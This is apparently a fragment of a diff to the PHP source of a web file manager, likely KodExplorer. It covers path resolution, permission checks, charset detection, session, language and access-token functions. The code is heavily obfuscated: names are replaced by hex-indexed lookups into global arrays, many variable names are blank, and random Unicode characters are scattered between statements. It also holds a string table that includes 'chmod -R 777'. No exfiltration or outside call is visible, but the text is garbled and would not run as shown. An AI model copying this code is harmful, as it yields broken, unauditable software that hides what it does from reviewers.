KOD_GROUP_PATH:$ˢ=system_group::get_info($GLOBALS[$[0x01e]]);if(!$GLOBALS[$[0x01e]]|| !$ˢ)return !1;$[0x000026]($GLOBALS[$[0x01e]]);;$GLOBALS[${0x000001d}]=${0x0000027}($ˢ);$߽=$[0x001a]($GLOBALS[${0x000001d}]).$;break;豿;case KOD_GROUP_SHARE:$ˢ=system_group::get_info($GLOBALS[$[0x01e]]);龏éۮс̕᠅;if(!$GLOBALS[$[0x01e]]|| !$ˢ)return !1;$[0x000026]($GLOBALS[$[0x01e]]);;$GLOBALS[${0x000001d}]=${0x0000027}($ˢ).$[0x028];;$߽=$[0x001a]($GLOBALS[${0x000001d}]).$;;break;;case KOD_USER_SHARE:$ˢ=system_member::get_info($GLOBALS[$[0x01e]]);;if(!$GLOBALS[$[0x01e]]|| !$ˢ)return !1;if($GLOBALS[$[0x01e]]!=$_SESSION[${0x0029}][$[0x0002a]]){${0x00002b}();}$GLOBALS[${0x000001d}]=$[0x00001c];$GLOBALS[${0x001f}]=$ʭ;ݵ♴魝—봐¥˯Җɀ;if($==$[0x00001c]){return $߽;}else{$ͩ=$[0x0000022]($[0x000012],$);$ͩ[0]=$[0x000002c]($ͩ[0]);$=system_member::user_share_get($GLOBALS[$[0x01e]],$ͩ[0]);$GLOBALS[${0x001f}]=KOD_USER_SHARE.$[0x0024].$GLOBALS[$[0x01e]].$[0x000012].$ͩ[0].$[0x000012];unset($ͩ[0]);if(!$)return !1;$=${0x02d}($[$[0x002e]],$[0x000012]).$[0x000012].$[0x000002c](${0x023}($[0x000012],$ͩ));;if($ˢ[${0x0002f}]!=$[0x000030]){$=${0x0000031}($ˢ);$GLOBALS[${0x000001d}]=$.${0x02d}($[$[0x002e]],$[0x000012]).$[0x000012];$߽=$.$;}else{$GLOBALS[${0x000001d}]=$[$[0x002e]];$߽=$;}if($[$[0x032]]==${0x0033}){$GLOBALS[${0x001f}]=${0x02d}($GLOBALS[${0x001f}],$[0x000012]);$GLOBALS[${0x000001d}]=${0x02d}($GLOBALS[${0x000001d}],$[0x000012]);}$߽=$[0x001a]($߽);}break;default:break;ˑУފ;}if($߽!=$[0x000012]){$߽=${0x02d}($߽,$[0x000012]);if($[0x00034]($߽))$߽=$߽.$[0x000012];}return $߽;ə޻ʆ܎ʴ೰݃莣ߡ;}function _DIR_OUT($){$=&$GLOBALS{};if(${0x000035}($)){foreach($[$[0x0000036]] as $=>&$嗶){$嗶[$[0x002e]]=${0x037}($嗶[$[0x002e]]);}foreach($[$[0x0038]] as $=>&$嗶){$嗶[$[0x002e]]=${0x037}(${0x02d}($嗶[$[0x002e]],$[0x000012]).$[0x000012]);}}else{$=${0x037}($);}return $;}function pre_clear($ҍ){$=&$GLOBALS{};$=$GLOBALS[${0x0001b}];ΠʹϹ繃;$=${0x02d}($GLOBALS[${0x000001d}],$[0x000012]);͏ݗ;$=array(KOD_USER_FAV,KOD_GROUP_ROOT_SELF,KOD_GROUP_ROOT_ALL);Կ؇;if(isset($GLOBALS[${0x0001b}])&& ${0x00039}($GLOBALS[${0x0001b}],$)){return $ҍ;}if(ST==$[0x00003a]){return $[0x0010]($,$[0x00001c],$ҍ);}if($GLOBALS[$[0x01e]]!=$[0x00001c]){$.=$[0x0024].$GLOBALS[$[0x01e]].$[0x000012];}if(isset($GLOBALS[${0x001f}])){$=$GLOBALS[${0x001f}];}$=$.$[0x0010]($,$[0x00001c],$ҍ);$=$[0x0010](${0x000003b},$[0x000012],$);return $;ޗ;}function owner_group_check($){$=&$GLOBALS{};if(!$)$[0x03c]($GLOBALS[${0x003d}][$[0x0003e]].$,!1);if($GLOBALS[${0x0f}]||(isset($GLOBALS[${0x00003f}])&& $GLOBALS[${0x00003f}]===!0)){return;}$ĕ=system_member::user_auth_group($);if($ĕ!=$[0x0000040]){${0x00002b}();if($ĕ==!1&& $GLOBALS[${0x0001b}]==KOD_GROUP_PATH){$[0x03c]($GLOBALS[${0x003d}][${0x041}],!1);}}}function owner_check(){$=&$GLOBALS{};if($GLOBALS[${0x0f}]||(isset($GLOBALS[${0x00003f}])&& $GLOBALS[${0x00003f}]===!0)){return;}$=$GLOBALS[$[0x0042]][${0x00043}];if(!$[0x000044](ST,$))return;if(${0x00039}(ACT,$[${0x0000045}])){$[0x03c]($GLOBALS[${0x003d}][$[0x046]],!1);}}function checkExt($Ȼ){$=&$GLOBALS{};if($[0x014]($Ȼ,${0x0047})|| $[0x014]($Ȼ,$[0x00048])|| $Ȼ==$[0x00001c]){return 0;}$=$GLOBALS[${0x000049}][$[0x000004a]];$=$[0x0000022](${0x04b},$);󁯊̏跩ԨӪ;foreach($ as $ў){if($ў!==$[0x00001c] && $[0x004c]($Ȼ,${0x0004d}.$ў)){return 0;}}return 0x001;}function zip_pre_name($,$=false){$=&$GLOBALS{};if($[0x00004e]($)==${0x000004f})return $[0x00001c];if(!$[0x050](${0x0051})){return $;}$=$GLOBALS[$[0x0042]][$[0x00052]];if($==!1){$=${0x000053};$=$[0x0000054]();if(${0x055}()&&($==$[0x0056] || $==${0x00057} || LANGUAGE_TYPE==${0x00057} || LANGUAGE_TYPE==${0x00057})){$=$[0x000058];}}$=@${0x0000059}($,$,$);if(!$){$=$;}return $;}function unzip_filter_ext($){$=&$GLOBALS{};$ǭ=$[0x05a];if(${0x005b}($)){return $;}return $.$ǭ;}function unzip_pre_name($Ē){$=&$GLOBALS{};if(!$[0x050](${0x0051})){return $[0x0005c]($Ē);}if(isset($GLOBALS[${0x00005d}])){$=$GLOBALS[${0x00005d}];}else{$=$[0x000005e]($Ē);}$ǃ=$GLOBALS[$[0x0042]][$[0x00052]];$ю=@${0x0000059}($,$ǃ,$Ē);if(!$ю){$ю=$Ē;}$ю=$[0x0005c]($ю);return $ю;жŚȑ;}function unzip_charset_get($){$=&$GLOBALS{};if(${0x00025}($)==0)return ${0x000053};$=array();ŭͨюǐ桝̶;for($=0;$<${0x00025}($);$++){$=$[0x000005e]($[$][${0x05f}]);if(!isset($[$])){$[$]=0x001;}else{$[$]+= 0x001;}}$[0x0060]($);$=${0x00061}($);̶ͥԘǝ;if(${0x00039}($[0x000062],$)){$[0]=$[0x000062];}$GLOBALS[${0x00005d}]=$[0];return $[0];;}function charset_check(&$,$){$=&$GLOBALS{};if($===$[0x00001c] || !$[0x050](${0x0000063})){return !1;}$̏=${0x000053};$=@$[0x064]($,$̏,$);㊙ڻ;$=@$[0x064]($,$,$̏);if($==$){return !0;}return !1;}function get_charset(&$){$=&$GLOBALS{};if($===$[0x00001c] || !$[0x050](${0x0065})){return ${0x000053};}$ϛ=$[0x00066](@${0x000067}($,$GLOBALS[$[0x0042]][$[0x0000068]]));if($[0x00020]($,0,0x0002)==${0x069}(0xFF).${0x069}(0xFE)|| $[0x00020]($,0,0x0002)==${0x069}(0xFE).${0x069}(0xFF)){$ϛ=$[0x006a];}else if($[0x00020]($,0,0x00003)==${0x069}(0xEF).${0x069}(0xBB).${0x069}(0xBF)){$ϛ=${0x000053};}else if($ϛ==${0x0006b} || $ϛ==$[0x00006c]){$ϛ=$[0x000062];}else if($ϛ==${0x000006d}){$ϛ=${0x000053};}if($ϛ==$[0x06e]){if(${0x006f}($,${0x000053})){$ϛ=${0x000053};}}return $ϛ;}function file_upload_size(){$=&$GLOBALS{};global$config;ܠ̏;if(isset($config[$[0x00070]][${0x000071}])){return $config[$[0x00070]][${0x000071}];}$=$[0x0000072]();return $;}function space_size_use_check(){$=&$GLOBALS{};if(!${0x073}())return;if($GLOBALS[${0x0f}]==0x001)return;if($GLOBALS[${0x0001b}]==KOD_GROUP_SHARE|| $GLOBALS[${0x0001b}]==KOD_GROUP_PATH){system_group::space_check($GLOBALS[$[0x01e]]);}else{if(${0x0000045}==$[0x00003a]){$=$GLOBALS[$[0x0074]][${0x00075}];}else{$=$_SESSION[${0x0029}][$[0x0002a]];}system_member::space_check($);}}function space_size_use_change($,$=true,$=false,$=false){$բ=&$GLOBALS{};if(!$բ{0x073}())return;if($===!1){$=$GLOBALS[$բ{0x0001b}];$=$GLOBALS[$բ[0x01e]];}$=$?0x001:-0x001;if($բ[0x000076]($)){$۪=$բ{0x0000077}($);}else if($բ[0x00034]($)){$=$բ[0x078]($);$۪=$[$բ{0x0079}];}else{return;}if($==KOD_GROUP_SHARE|| $==KOD_GROUP_PATH){system_group::space_change($,$۪*$);}else{if($բ{0x0000045}==$բ[0x00003a]){$=$GLOBALS[$բ[0x0074]][$բ{0x00075}];}else{$=$_SESSION[$բ{0x0029}][$բ[0x0002a]];}system_member::space_change($,$۪*$);}}function space_size_use_reset(){$=&$GLOBALS{};if(!${0x073}())return;$=isset($GLOBALS[${0x0001b}])?$GLOBALS[${0x0001b}]:$[0x00001c];$=isset($GLOBALS[$[0x01e]])?$GLOBALS[$[0x01e]]:$[0x00001c];ג;if($==KOD_GROUP_SHARE|| $==KOD_GROUP_PATH){system_group::space_change($);}else{$=$_SESSION[${0x0029}][$[0x0002a]];system_member::space_change($);}}function check_list_dir(){$=&$GLOBALS{};$=APPHOST.$[0x0007a];˝Ի٘Հ끾;$=${0x00007b};@$[0x000007c](${0x07d},0x001);$׵=$[0x007e](array(${0x0007f}=>array($[0x000080]=>${0x0000081},$[0x082]=>0x001)));嬔;$=@${0x0083}($,!1,$׵);;if($[0x00084]($,$)===!1){return !0;}else{return !1;}}function php_env_check(){$=&$GLOBALS{};$=$GLOBALS[${0x003d}];$ԭ=$[0x00001c];ŐƔǬ󣴼ū횔׹;if(!$[0x050](${0x0051}))$ԭ.= ${0x000085}.$[$[0x0000086]].${0x087};if(!$[0x050]($[0x0088]))$ԭ.= ${0x000085}.$[${0x00089}].${0x087};if(!$[0x00008a](PHP_VERSION,${0x000008b},$[0x08c]))$ԭ.= ${0x000085}.$[${0x008d}].${0x087};if(!$[0x050]($[0x0008e]))$ԭ.=${0x000085}.$[${0x00008f}].${0x087};if(!$[0x0000090]())$ԭ.=${0x000085}.$[${0x091}].${0x087};$=$[0x0092](BASIC_PATH);$ׁ=array(BASIC_PATH,DATA_PATH,DATA_PATH.${0x00093},DATA_PATH.$[0x000094],DATA_PATH.${0x0000095},DATA_PATH.$[0x096]);̲榸筕âӤΔ칛ʒ߳ã٠;foreach($ׁ as $){if(!${0x0097}($)){$ԭ.= ${0x000085}.$[0x0010]($,$[0x00001c],$).$[0x00098].$[${0x000099}].${0x087};}}if(!$[0x050]($[0x000009a])|| !$[0x050](${0x09b})|| !$[0x050]($[0x009c])|| !$[0x050](${0x0009d})){$ԭ.= ${0x000085}.$[$[0x00009e]].${0x087};}return $ԭ;}include(CLASS_DIR.$GLOBALS{}{0x000009f});function init_common(){$ِɬ=&$GLOBALS{};$GLOBALS[$ِɬ[0x0074]]=$ِɬ[0x0a0]();if(!$ِɬ{0x00a1}(DATA_PATH)){$ِɬ[0x000a2]($ِɬ{0x0000a3});}$=$ِɬ{0x0083}(BASIC_PATH.$ِɬ[0x00000a4]);$ҷ=$ِɬ{0x0a5}($,$ِɬ[0x00a6]);;if($ҷ!=KOD_VERSION){$ِɬ[0x000a2]($ِɬ{0x000a7});}$긭=$ِɬ[0x0000a8].BASIC_PATH.$ِɬ{0x00000a9};if(!$ِɬ{0x00a1}(KOD_SESSION)|| !$ِɬ{0x00a1}(KOD_SESSION.$ِɬ[0x0aa])){$ِɬ{0x00ab}(KOD_SESSION);$ِɬ[0x000ac](KOD_SESSION.$ِɬ[0x0aa]);if(!$ِɬ{0x00a1}(KOD_SESSION.$ِɬ[0x0aa])){$ِɬ[0x000a2]($긭);}}if(!$ِɬ{0x0000ad}(KOD_SESSION)|| !$ِɬ{0x0000ad}(KOD_SESSION.$ِɬ[0x0aa])|| !$ِɬ{0x0000ad}(DATA_PATH.$ِɬ[0x00000ae])|| !$ِɬ{0x0000ad}(DATA_PATH)){$ِɬ[0x000a2]($긭);}$=LIB_DIR.$ِɬ{0x0af};if($ِɬ{0x00a1}($)){include($);$ِɬ[0x00b0]($);}}function access_token_check($){$=&$GLOBALS{};$=$GLOBALS[$[0x0042]][${0x000b1}][$[0x0000b2]];$=$[0x00020](${0x00000b3}($[0x0b4].$),0,0x0f);ᩂÙ򞪼ᣗՕ;$ٞ=Mcrypt::decode($,$);偓܌ԣď׿γלӥաԆ⌺١;if(!$ٞ){$[0x000a2](${0x00b5});}$[0x000b6]($ٞ);}function access_token_get(){$=&$GLOBALS{};$=$[0x000b6]();Ϝ޷ȷ;$㎾=$GLOBALS[$[0x0042]][${0x000b1}][$[0x0000b2]];$㎾=$[0x00020](${0x00000b3}($[0x0b4].$㎾),0,0x0f);$=Mcrypt::encode($,$㎾,0x0e10*0x0000018);Ԉ𰼠لȎ;return $;}function init_session(){$=&$GLOBALS{};if(isset($_GET[${0x0000b7}])){$[0x00000b8]($_GET[${0x0000b7}]);}else{@${0x0b9}(SESSION_ID);}@$[0x00ba](KOD_SESSION);@${0x000bb}();ˀ𷎖֨폛;@$[0x0000bc]();}function init_config(){$=&$GLOBALS{};${0x00000bd}();$[0x0be]();${0x00bf}();$[0x000c0]();ڷ;}function need_check_code(){$䞋=&$GLOBALS{};$=$GLOBALS[$䞋[0x0042]][$䞋{0x000b1}];ۜ4ѻ;if(!$[$䞋{0x0000c1}]|| !$䞋[0x050]($䞋[0x000009a])|| !$䞋[0x050]($䞋{0x09b})|| !$䞋[0x050]($䞋[0x009c])|| !$䞋[0x050]($䞋{0x0009d})){return !1;}else{return !0;}}function get_default_lang(){$=&$GLOBALS{};$=$[0x00000c2];$=$GLOBALS[$[0x0042]][${0x0c3}][$[0x00c4]];$=array();foreach($ as $=>$){$[$]=$;ڪ눬ՓՔԩ;}$[${0x000c5}]=$[0x0056];ԧˌݲ;$[$[0x0000c6]]=${0x00057};;$=array();if(!isset($_SERVER[${0x00000c7}])){$=$[0x0c8];}else{$=$[0x0010](${0x00c9},$[0x000ca],$[0x00066]($_SERVER[${0x00000c7}]));}${0x0000cb}($[0x00000cc],$,$,PREG_SET_ORDER);foreach($ as $){$[$[0x001]]=(isset($[0x00003])?$[0x00003]:0x001);}$[0x0060]($);;foreach($ as $=>$){if(isset($[$])){$=$[$];break;}$=$[0x00016](${0x0cd},$[0x00001c],$);if(!isset($[$])&& isset($[$])){$=$[$];break;}}return $;̡݂ʧњĩħ唴ŀٟ;}function init_lang(){$Ӣ=&$GLOBALS{};if(isset($_COOKIE[$Ӣ[0x00ce]])){$=$_COOKIE[$Ӣ[0x00ce]];}else{$=$Ӣ[0x0000054]();$Ӣ{0x000cf}($Ӣ[0x00ce],$,$Ӣ[0x0000d0]()+0x0e10*0x0000018*0x064);}$=$Ӣ[0x0010](array($Ӣ[0x000012],$Ӣ{0x00011},$Ӣ{0x00000d1},$Ӣ{0x0004d}),$Ӣ[0x00001c],$);if(isset($GLOBALS[$Ӣ[0x0042]][$Ӣ[0x00070]][$Ӣ[0x00c4]])){$=$GLOBALS[$Ӣ[0x0042]][$Ӣ[0x00070]][$Ӣ[0x00c4]];}if($==$Ӣ[0x0d2])$=$Ӣ[0x0056];if($==$Ӣ{0x00d3})$=$Ӣ{0x00057};$=LANGUAGE_PATH.$.$Ӣ[0x000d4];ǯ⊧֝􃋘ׂ㯒ɟƯ쓒Ʋ;if(!$Ӣ{0x00a1}($)){$=$Ӣ[0x0c8];$=LANGUAGE_PATH.$.$Ӣ[0x000d4];}$Ӣ[0]($Ӣ{0x0000d5},$);$GLOBALS[$Ӣ{0x003d}]=include($);}function make_path($){$=&$GLOBALS{};$=array($[0x000012],${0x00011},$[0x0024],$[0x00000d6],${0x0d7},$[0x00d8],${0x0047},$[0x00048],${0x04b});ͳաޛ뇐룡陑ػ覰߸ϕד;return $[0x0010]($,${0x00c9},$);}function init_setting(){$؞=&$GLOBALS{};$=USER_SYSTEM.$؞{0x000d9};if(!$؞{0x00a1}($)){$=$GLOBALS[$؞[0x0042]][$؞[0x0000da]];$[$؞{0x00000db}]=$GLOBALS[$؞[0x0042]][$؞[0x0dc]];fileCache::save($,$);}else{$=fileCache::load($);}if(!$؞{0x000035}($)){$=$GLOBALS[$؞[0x0042]][$؞[0x0000da]];}if(!$؞{0x000035}($[$؞{0x00000db}])){$[$؞{0x00000db}]=$GLOBALS[$؞[0x0042]][$؞[0x0dc]];}$GLOBALS[$؞{0x00dd}]->setDefaultController($[$؞[0x000de]]);$GLOBALS[$؞{0x00dd}]->setDefaultAction($؞{0x0000df});ۺӢ󎐒ܩӱЄNjޑ;$GLOBALS[$؞[0x0042]][$؞{0x000b1}]=$;;}function init_user_setting(){$=&$GLOBALS{};$GLOBALS[${0x003d}][$[0x00000e0]]=$GLOBALS[$[0x0042]][${0x000b1}][${0x0e1}];$GLOBALS[${0x003d}][$[0x00e2]]=$GLOBALS[$[0x0042]][${0x000b1}][${0x000e3}];if(isset($[$[0x0000e4]])){$GLOBALS[${0x003d}][${0x00000e5}]=$GLOBALS[$[0x0042]][${0x000b1}][$[0x0000e4]];}$=BASIC_PATH.$[0x0e6];if(${0x00a1}($)){include($);}$[0](${0x00e7},$GLOBALS[$[0x0042]][$[0x00070]][$[0x000e8]]);}function user_logout(){$=&$GLOBALS{};@${0x0000e9}();@${0x0b9}($[0x00000ea]);ᑂբӾֵ;@${0x000bb}();瘊ާ;@${0x0000e9}();ҦԱ慽Ԗ;${0x0eb}(SESSION_ID,$[0x00001c],$[0x0000d0]()-0x0e10,$[0x000012]);˦;${0x0eb}($[0x00000e0],$[0x00001c],$[0x0000d0]()-0x0e10);ɣ؍;${0x0eb}($[0x00ec],$[0x00001c],$[0x0000d0]()-0x0e10);${0x000ed}($[0x0000ee]);ˋږƷį襉۾;exit;Őı­ӞګƜ;}function hash_encode($){$=&$GLOBALS{};return $[0x0010](${0x00000ef}($),array($[0x0f0],$[0x000012],${0x00f1}),array($[0x000f2],${0x0000f3},$[0x00000f4]));}function hash_decode($){$=&$GLOBALS{};return ${0x0f5}($[0x0010]($,array($[0x000f2],${0x0000f3},$[0x00000f4]),array($[0x0f0],$[0x000012],${0x00f1})));} \ No newline at end of file +
    chmod -R 777 |=|8|;
    |=|8|;index.html|=|8|;mk_dir|=|8|;touch|=|8|;is_writable|=|8|;system/apps.php|=|8|;update.php|=|8|;update_check|=|8|;del_file|=|8|;user_logout|=|8|;setting_system|=|8|;system_password|=|8|;md5|=|8|;kodExplorer_|=|8|;decode|=|8|;access_token error!|=|8|;session_id|=|8|;encode|=|8|;access_token|=|8|;access_token_check|=|8|;session_name|=|8|;session_save_path|=|8|;session_start|=|8|;session_write_close|=|8|;init_setting|=|8|;init_lang|=|8|;init_user_setting|=|8|;init_session|=|8|;need_check_code|=|8|;en|=|8|;setting_all|=|8|;language|=|8|;zh|=|8|;zh-tw|=|8|;HTTP_ACCEPT_LANGUAGE|=|8|;en|=|8|;_|=|8|;-|=|8|;preg_match_all|=|8|;~([-a-z]+)(;q=([0-9.]+))?~|=|8|;~-.*~|=|8|;kod_user_language|=|8|;setcookie_header|=|8|;time|=|8|;..|=|8|;zh_CN|=|8|;zh_TW|=|8|;/main.php|=|8|;LANGUAGE_TYPE|=|8|;*|=|8|;?|=|8|;"|=|8|;system_setting.php|=|8|;setting_system_default|=|8|;save|=|8|;load|=|8|;app|=|8|;setDefaultController|=|8|;first_in|=|8|;setDefaultAction|=|8|;index|=|8|;system_role_group.php|=|8|;kod_name|=|8|;system_name|=|8|;kod_name_desc|=|8|;system_desc|=|8|;powerby|=|8|;kod_power_by|=|8|;config/setting_user.php|=|8|;STATIC_PATH|=|8|;static_path|=|8|;session_destroy|=|8|;KOD_SESSION_SSO|=|8|;setcookie|=|8|;kod_token|=|8|;header|=|8|;location:./index.php?user/login|=|8|;base64_encode|=|8|;+|=|8|;=|=|8|;_a|=|8|;_b|=|8|;_c|=|8|;base64_decode');儍ƭ͈͕̣̜ɳӪТۤӅ͠ϲ—餑; + $_SERVER{}[0]($_SERVER{}{0x001},$_SERVER{}[0x0002]);$_SERVER{}[0]($_SERVER{}{0x00003},$_SERVER{}[0x000004]);$_SERVER{}[0]($_SERVER{}{0x05},$_SERVER{}[0x006]);$_SERVER{}[0]($_SERVER{}{0x0007},$_SERVER{}[0x00008]);$_SERVER{}[0]($_SERVER{}{0x000009},$_SERVER{}[0x0a]);$_SERVER{}[0]($_SERVER{}{0x00b},$_SERVER{}[0x000c]);$_SERVER{}[0]($_SERVER{}{0x0000d},$_SERVER{}[0x00000e]);function _DIR_CLEAR($є){$=&$_SERVER{};if(isset($GLOBALS[${0x0f}])&& $GLOBALS[${0x0f}]){return $є;}$є=$[0x0010](${0x00011},$[0x000012],${0x0000013}($є));if($[0x014]($є,${0x0015})){$є=$[0x00016](${0x000017},$[0x000012],$є);}$є=$[0x00016]($[0x0000018],$[0x000012],$є);return $є;}function _DIR($){$=&$_SERVER{};$=${0x019}($);$=$[0x001a]($);ΈҚյ訤ާ͝;$=array(KOD_GROUP_PATH,KOD_GROUP_SHARE,KOD_GROUP_ROOT_SELF,KOD_GROUP_ROOT_ALL,KOD_USER_SHARE,KOD_USER_RECYCLE,KOD_USER_FAV,);$GLOBALS[${0x0001b}]=$[0x00001c];$GLOBALS[${0x000001d}]=HOME;$GLOBALS[$[0x01e]]=$[0x00001c];;unset($GLOBALS[${0x001f}]);foreach($ as $){if($[0x00020]($,0,${0x000021}($))==$){$GLOBALS[${0x0001b}]=$;$=$[0x0000022]($[0x000012],$);$Į=$[0];unset($[0]);$Ȗ=${0x023}($[0x000012],$);$Ƀ=$[0x0000022]($[0x0024],$Į);if(${0x00025}($Ƀ)>0x001){$GLOBALS[$[0x01e]]=${0x0000013}($Ƀ[0x001]);}else{$GLOBALS[$[0x01e]]=$[0x00001c];}break;}}switch($GLOBALS[${0x0001b}]){case $[0x00001c]:$=$[0x001a](HOME).$;ߡǪɇӓ;break;case KOD_USER_RECYCLE:$GLOBALS[${0x000001d}]=${0x0000013}(USER_RECYCLE,$[0x000012]);;$GLOBALS[$[0x01e]]=$[0x00001c];כ햣ӊ˿ᮒ՘į݆Ϫü;return $[0x001a](USER_RECYCLE).$[0x000012].$[0x0010](KOD_USER_RECYCLE,$[0x00001c],$);case KOD_USER_FAV:$GLOBALS[${0x000001d}]=${0x0000013}(KOD_USER_FAV,$[0x000012]);ȅߍ;$GLOBALS[$[0x01e]]=$[0x00001c];return KOD_USER_FAV;case KOD_GROUP_ROOT_SELF:$GLOBALS[${0x000001d}]=${0x0000013}(KOD_GROUP_ROOT_SELF,$[0x000012]);逋;$GLOBALS[$[0x01e]]=$[0x00001c];†פۮڂɭ;return KOD_GROUP_ROOT_SELF;case KOD_GROUP_ROOT_ALL:$GLOBALS[${0x000001d}]=${0x0000013}(KOD_GROUP_ROOT_ALL,$[0x000012]);$GLOBALS[$[0x01e]]=$[0x00001c];return KOD_GROUP_ROOT_ALL;ٯ̔;case KOD_GROUP_PATH:$=system_group::$[0x000026]($GLOBALS[$[0x01e]]);;if(!$GLOBALS[$[0x01e]]|| !$)return !1;${0x0000027}($GLOBALS[$[0x01e]]);$GLOBALS[${0x000001d}]=$[0x028]($);ںΕ;$=$[0x001a]($GLOBALS[${0x000001d}]).$Ȗ;݆В;break;case KOD_GROUP_SHARE:$=system_group::$[0x000026]($GLOBALS[$[0x01e]]);;if(!$GLOBALS[$[0x01e]]|| !$)return !1;${0x0000027}($GLOBALS[$[0x01e]]);͹ӿ⁃ُ;$GLOBALS[${0x000001d}]=$[0x028]($).${0x0029};$=$[0x001a]($GLOBALS[${0x000001d}]).$Ȗ;break;嫃开Ⱦ;case KOD_USER_SHARE:$=system_member::$[0x000026]($GLOBALS[$[0x01e]]);if(!$GLOBALS[$[0x01e]]|| !$)return !1;if($GLOBALS[$[0x01e]]!=$_SESSION[$[0x0002a]][${0x00002b}]){$=$GLOBALS[$[0x000002c]][${0x02d}][$[0x002e]][${0x0002f}];$[0x000030]($);}$GLOBALS[${0x000001d}]=$[0x00001c];$GLOBALS[${0x001f}]=$;ⵧа⋻;if($Ȗ==$[0x00001c]){return $;}else{$œ=$[0x0000022]($[0x000012],$Ȗ);$œ[0]=${0x0000031}($œ[0]);$=system_member::$[0x032]($GLOBALS[$[0x01e]],$œ[0]);$GLOBALS[${0x001f}]=KOD_USER_SHARE.$[0x0024].$GLOBALS[$[0x01e]].$[0x000012].$œ[0].$[0x000012];unset($œ[0]);if(!$)return !1;$=${0x0033}($[$[0x00034]],$[0x000012]).$[0x000012].${0x0000031}(${0x023}($[0x000012],$œ));;if($[${0x000035}]!=$[0x002e]){$֖=$[0x0000036]($);$GLOBALS[${0x000001d}]=$֖.${0x0033}($[$[0x00034]],$[0x000012]).$[0x000012];$=$֖.$;}else{$GLOBALS[${0x000001d}]=$[$[0x00034]];$=$;}if($[${0x037}]==$[0x0038]){$GLOBALS[${0x001f}]=${0x0033}($GLOBALS[${0x001f}],$[0x000012]);$GLOBALS[${0x000001d}]=${0x0033}($GLOBALS[${0x000001d}],$[0x000012]);}$=$[0x001a]($);}break;default:break;}if($!=$[0x000012]){$=${0x0033}($,$[0x000012]);if(${0x00039}($))$=$.$[0x000012];}return $;}function _DIR_OUT($){$ƀ=&$_SERVER{};if($ƀ[0x00003a]($)){foreach($[$ƀ{0x000003b}] as $=>&$){$[$ƀ[0x00034]]=$ƀ[0x03c]($[$ƀ[0x00034]]);}foreach($[$ƀ{0x003d}] as $=>&$){$[$ƀ[0x00034]]=$ƀ[0x03c]($ƀ{0x0033}($[$ƀ[0x00034]],$ƀ[0x000012]).$ƀ[0x000012]);}}else{$=$ƀ[0x03c]($);}return $;}function pre_clear($){$ˠ=&$_SERVER{};$ͻ=$GLOBALS[$ˠ{0x0001b}];ڠďʽ̤ܡܵާݿߨ԰ҏ𿮱訮;$=$ˠ{0x0033}($GLOBALS[$ˠ{0x000001d}],$ˠ[0x000012]);ĺ懤̍;$ѯ=array(KOD_USER_FAV,KOD_GROUP_ROOT_SELF,KOD_GROUP_ROOT_ALL);ꐰ˄Ө϶;if(isset($GLOBALS[$ˠ{0x0001b}])&& $ˠ[0x0003e]($GLOBALS[$ˠ{0x0001b}],$ѯ)){return $;}if(ST==$ˠ{0x00003f}){return $ˠ[0x0010]($,$ˠ[0x00001c],$);}if($GLOBALS[$ˠ[0x01e]]!=$ˠ[0x00001c]){$ͻ.=$ˠ[0x0024].$GLOBALS[$ˠ[0x01e]].$ˠ[0x000012];}if(isset($GLOBALS[$ˠ{0x001f}])){$ͻ=$GLOBALS[$ˠ{0x001f}];}$=$ͻ.$ˠ[0x0010]($,$ˠ[0x00001c],$);$=$ˠ[0x0010]($ˠ[0x0000040],$ˠ[0x000012],$);٭śߏ;return $;}function owner_group_check($ɲ){$=&$_SERVER{};if(!$ɲ)${0x041}($GLOBALS[$[0x0042]][${0x00043}].$ɲ,!1);if($GLOBALS[${0x0f}]||(isset($GLOBALS[$[0x000044]])&& $GLOBALS[$[0x000044]]===!0)){return;}$=system_member::${0x0000045}($ɲ);if($==!1){if($GLOBALS[${0x0001b}]==KOD_GROUP_PATH){${0x041}($GLOBALS[$[0x0042]][$[0x046]],!1);}else if($GLOBALS[${0x0001b}]==KOD_GROUP_SHARE){$=$GLOBALS[$[0x000002c]][${0x02d}][$[0x002e]];}}else{$=$GLOBALS[$[0x000002c]][${0x0047}][$];䍐Ð;}$[0x000030]($[${0x0002f}]);}function path_role_check($){$=&$_SERVER{};if($GLOBALS[${0x0f}]||(isset($GLOBALS[$[0x000044]])&& $GLOBALS[$[0x000044]]===!0)){return;}$=$[0x00048]($);if(!isset($[ST.$[0x0024].${0x000049}])){${0x041}($GLOBALS[$[0x0042]][$[0x000004a]],!1);}}function role_permission_arr($){$=&$_SERVER{};$տ=array();$=$GLOBALS[$[0x000002c]][${0x04b}];;foreach($ as $=>$){if(!$)continue;$=$[0x0000022]($[0x0024],$);ׇ̊æ;if(${0x00025}($)==0x0002&& $[0x00003a]($[$[0]])&& $[0x00003a]($[$[0]][$[0x001]])){$տ=$[0x004c]($տ,$[$[0]][$[0x001]]);}}$=array();foreach($տ as $){$[$]=$[0x002e];;}return $;}function checkExt($){$ȴҚ=&$_SERVER{};if($ȴҚ[0x014]($,$ȴҚ{0x0004d})|| $ȴҚ[0x014]($,$ȴҚ[0x00004e])|| $==$ȴҚ[0x00001c]){return 0;}$Ǘ=$GLOBALS[$ȴҚ{0x000004f}][$ȴҚ[0x050]];$ۑ=$ȴҚ[0x0000022]($ȴҚ{0x0051},$Ǘ);foreach($ۑ as $){if($!==$ȴҚ[0x00001c] && $ȴҚ[0x00052]($,$ȴҚ{0x000053}.$)){return 0;}}return 0x001;}function zip_pre_name($,$=false){$=&$_SERVER{};if($[0x0000054]($)==${0x055})return $[0x00001c];if(!$[0x0056](${0x00057})){return $;}$Ǯ=$GLOBALS[$[0x000002c]][$[0x000058]];if($==!1){$=${0x0000059};$=$[0x05a]();if(${0x005b}()&&($==$[0x0005c] || $==${0x00005d} || LANGUAGE_TYPE==${0x00005d} || LANGUAGE_TYPE==${0x00005d})){$=$[0x000005e];}}$я=@${0x05f}($Ǯ,$,$);if(!$я){$я=$;}return $я;}function unzip_filter_ext($){$=&$_SERVER{};$=$[0x0060];if(${0x00061}($)){return $;}return $.$;}function unzip_pre_name($){$=&$_SERVER{};if(!$[0x0056](${0x00057})){return $[0x000062]($);}if(isset($GLOBALS[${0x0000063}])){$=$GLOBALS[${0x0000063}];}else{$=$[0x064]($);}$΄=$GLOBALS[$[0x000002c]][$[0x000058]];$²=@${0x05f}($,$΄,$);ĥƐ;if(!$²){$²=$;}$²=$[0x000062]($²);return $²;}function unzip_charset_get($垅){$Ĺ=&$_SERVER{};if($Ĺ{0x00025}($垅)==0)return 